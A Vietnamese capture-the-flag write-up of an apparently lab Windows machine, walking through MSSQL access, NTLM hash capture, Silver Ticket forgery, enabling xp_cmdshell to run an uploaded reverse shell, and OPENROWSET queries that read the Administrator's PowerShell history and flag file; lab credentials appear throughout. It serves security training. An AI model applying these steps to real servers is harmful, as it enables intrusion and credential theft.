# Signed
# Recon
Đầu tiên, mình thực recon qua **nmap** thu được kết quả như sau:
```nmap
# Nmap 7.95 scan initiated Thu Oct 23 11:32:29 2025 as: /usr/lib/nmap/nmap -sC -sV -Pn -T4 -p- --stats-every=5s -oN Signed 10.10.11.90
Nmap scan report for 10.10.11.90 (10.10.11.90)
Host is up (0.35s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.10.11.90:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
|_ssl-date: 2025-10-23T06:16:58+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-23T03:54:16
|_Not valid after: 2055-10-23T03:54:16
| ms-sql-info:
| 10.10.11.90:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 23 13:16:58 2025 -- 1 IP address (1 host up) scanned in 6268.31 seconds
```
Từ đây mình thu được:
* 1443/tcp - **MSSQL**
Như vậy mình ghi vào trong `/etc/hosts`

Kèm theo 1 credential được cung cấp là: `scott:Sm230#C5NatH`
# Khai thác MSSQL
Từ đây mình khai thác service này với credential được cung cấp.

Tiếp tục tìm hiểu các trong service này có gì....


Từ đây mình thấy có user là `dbo` có **RoleName** là `db_owner`.
Như vậy nếu mà chiếm được account này thì hoàn có quyền **admin**
Nhưng đầu tiên trên user hiện tại có được dùng `xp_cmdshell` ko?

Thì user hiện tại ko có quyền.
Đến đây thì tại sao tui phải mún có được `xp_cmdshell`
- `xp_cmdshell` thực thi lệnh OS từ SQL. Nếu mà mình bật được `xp_cmdshell` với 1 user có quyền cao hơn, thì mình hoàn toàn có thể thực thi code hoàn toàn hợp lí.
Và thường dùng `xp_dirtree` để capture **NTLM Hashes** để có thể chiếm được account Administrator.
```SQL
SELECT OBJECT_ID('master..xp_dirtree') AS objid;
SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE');
```
```SQL
SELECT HAS_PERMS_BY_NAME('master..xp_dirtree','OBJECT','EXECUTE') AS can_execute_xp_dirtree
```

Và nếu nó trả về `1` từ có là user hiện tại có quyền dùng `xp_dirtree`
## Capture NTLM Hash qua Responder

Từ trong **MSSQL** gửi về host attacker.

Quay lại host attacker thì mình thu được như sau:

Như vậy mình thu được hash rồi, mình cần đem hash này đem crack thử.

Từ đây mình tìm được passowrd là `purPLE9795!@`
Tiếp theo mình hoàn toàn có thể login vào bằng account này.

Sau đó, mình thử kiểm tra xem account này có role gì ko.
```SQL
SELECT r.name AS role, m.name AS member
FROM sys.server_principals r
JOIN sys.server_role_members rm ON r.principal_id = rm.role_principal_id
JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id
WHERE r.name = 'sysadmin';
```
Đầu tiên, mình cần tìm hiểu trong `sys.server_principals` chứa cái gì?

Như vậy trong `sys.server_principals` thì nó chứa tất cả tất cả các tài khoản và vai trò trong server.
Và trong `sys.server_role_members` chứa gì?

Như vậy thì khi đó thì sẽ lấy được **role** của **sysadmin** sẽ có các member nào.

Ở đây với `sysadmin` server role thì mình có các members như sau:
- **sa**
- **SIGNED\IT**
- **NT SERVICE\SQLWriter**
- **NT SERVICE\MSSQLSERVER**
- **NT SERVICE\SQLVERAGENT**
Với các cấu hình này thì tất cả các tài khoản này thì đều có đặc đủ đặc quyền quản trị trên phiên bản SQL Server.
## SILVER TICKET
Như vậy nhìn thấy rõ ràng thì đây có thể khai thác theo hướng **Silver Ticket**
**Silver Ticket** là một kiểu tấn công sau khi đã chiếm (post-exploit) --> attacker giả mạo ticket service Kerberos.
### Bước 1 - Lấy domain SID và SIDs cho groups/users
Mình sẽ lấy domain name hiện tại

Tiếp theo mình sẽ lấy SID cho **IT** và **MSSQLSVC**.

**SID** là mã định dạnh cho groups/users.
Tóm tắt lại mình thu được:
- Khi mình tìm kiếm **Domain** thì mình thu được Domain dưới dạng **NetBIOS domain name**
- Khi mình tìm SID chuyển sang dạng hex thì thu được `0x010500`, thay vì ở định dạng mà con người đọc được `S-1-5-21...`
Và để convert từ SID dạng hex này sang format có thể đọc được `S-1-...`, mình cần bỏ prefix `0x` và cấu trúc của SID như sau:
- **Revision - 1 byte - phiên bản của SID (thường là 1)**
- **Subauthority count - 1 byte - số lượng trường SubAuthority**
- **Identifier authority - 6 byte - tổ chức cấp phát SID**
- **Little-endian 4-byte subauthorities - Các giá trị SubAuthority tạo nên phần cuối của SID**
Sắp xếp cấu trúc được form như sau:
`S-<revision>-<identifier_authority>-<subauthority1>-...-<subauthorityN>`
Như vậy mình có thể viết 1 script để phân tích như sau:
```python
import struct
def parse_sid(hex_str):
# Bỏ '0x' nếu có
if hex_str.startswith('0x'):
hex_str = hex_str[2:]
# Chuyển chuỗi hex sang bytes
data = bytes.fromhex(hex_str)
# Lấy revision và sub-authority count
revision = data[0]
subauth_count = data[1]
# Đọc Identifier Authority (6 bytes big endian)
id_auth = int.from_bytes(data[2:8], byteorder='big')
# Đọc từng sub-authority (4 byte little endian)
subs = [struct.unpack("<I", data[8+i*4:12+i*4])[0] for i in range(subauth_count)]
# Tạo chuỗi SID đọc được
sid_str = f"S-{revision}-{id_auth}-" + "-".join(str(s) for s in subs)
return sid_str
hex_sid = "0x0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000"
print(parse_sid(hex_sid))
```
Thu được kết quả một chuỗi có thể đọc được.

Tiếp tục, mình parse của `SIGNED\mssqlsvc`

Như vậy thì thu được:
- **Doamin SID**: S-1-5-21-4088429403-1159899800-2753317549
- **IT Group RID**: 1105
- **mssqlsvc RID**: 1103
### Bước 2 - Tính toán NTLM hash (ntlmhash)
Thì trong mô hình Kerberos nó sẽ dùng password của 1 user để băm ra tạo thành 1 khóa bí mật để thực hiện các bước xác thực trong Authentication Server.

Cho nên mình cần tính toán như sau:

Hoặc mình chạy trên terminal như sau:

### Bước 3 - Ép buộc tạo ra 1 Silver Ticket để có thể tiếp cận service

Sau đó mình theo ticket này vào để tiến hành khai thác.
```bash
export KRB5CCNAME=mssqlsvc.ccache
```

Từ đây, mình có thể bật `enable_xp_cmdshell`

### Upload reverse shell - tương tác qua Metasploit
Sau khi bật `xp_cmdshell`, thì mình hoàn toàn có thể tương tác với command system.
Rồi mình tiếp tục tìm kiếm trên folder của user `mssqlsvc` có gì



Sau khi tìm kiếm thì mình sẽ upload 1 reverver shell như sau:

Sau khi upload thành công

Tiếp theo mình khởi động metatsploit và setup để có thể có kết nối.

Đồng thời trên target cho khởi chạy file payload đã upload bằng
```
xp_cmdshell "%TEMP%/rev.exe"
```

Như vậy hoàn thành kết nối.

### Upload reverse shell - tương tác qua Netcat
Đầu tiên thì mình cấn có file **nc.exe** trên máy tấn công.
Sau đó, cũng thực hiện upload lên.

Hoặc dùng

Từ đây mình mở kết nối trên target.

Trên máy attack thì mở kết nối để nhận

## Leo thang đặc quyền để lấy Full Control
Sau khi có được kết nối thì mình hoàn toàn có thể upload 1 file phổ biến để xác định thêm thông tin là **winPEASx64.exe**

Và để leo thang đặc quyền mình có thể biết đến là **Golden Ticket**
Nhưng có hai key group trong Active Directory:
- **Domain Admins - RID** `512`
- **Enterprise Admins - RID** `519`
Đây là những group được coi là có quyền `admin`, như vậy nếu mình có ticket này thì hoàn toàn có thể truy cập thông tin nhạy cảm.
Hiện tại thì mình chưa có quyền admin.

Mình cũng thực hiện lấy SID như ở trên.

Nhưng mình cũng phải chuyển sang dạng đọc được. Và mình đã có revershell cho nên mình đọc bằng PowerShell

Mình lặp lại các bước tạo ticket như sau:

Mình tiếp tục `export KRB5CCNAME=mssqlsvc.ccache`
Sau đó, login lại bằng cái vé mới đó.

Mình cần enable advanced configure options trong SQL Server.

Tiếp theo mình cần bật `Ad Hoc Distributed Queries` cho phép các truy vấn `ad hoc` đến các nguồn dữ liệu bên ngoài.

Dựa vào đây thì mình hoàn toàn có thể lấy nội dung qua lệnh PowerShell.
```SQL
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt',SINGLE_CLOB) AS x;
```

```SQL
SELECT * FROM OPENROWSET(BULK 'C:\Users\Administrator\Desktop\root.txt',SINGLE_CLOB) AS x;
```


### Thông tin tìm được
Ở đây, mình đã tìm ra 1 credentials admin
- **Administrator:Th1s889Rabb!t**
Như vậy mình đã chạy lệnh Admin trên tài khoản `mssqlsvc`, nhưng như vậy có thể bị lộ nếu mình ko chạy trên chính tài khoản Admin.
Do đó, mình upload 1 tool tên là `RunasCs.exe` để có thể tiến hành chạy bằng credential mình mới lấy được.

Sau khi upload thì dựa vào reverse shell lúc đầu mình thực hiện chạy.

Quay lại chỗ netcat lắng nghe port 9999.

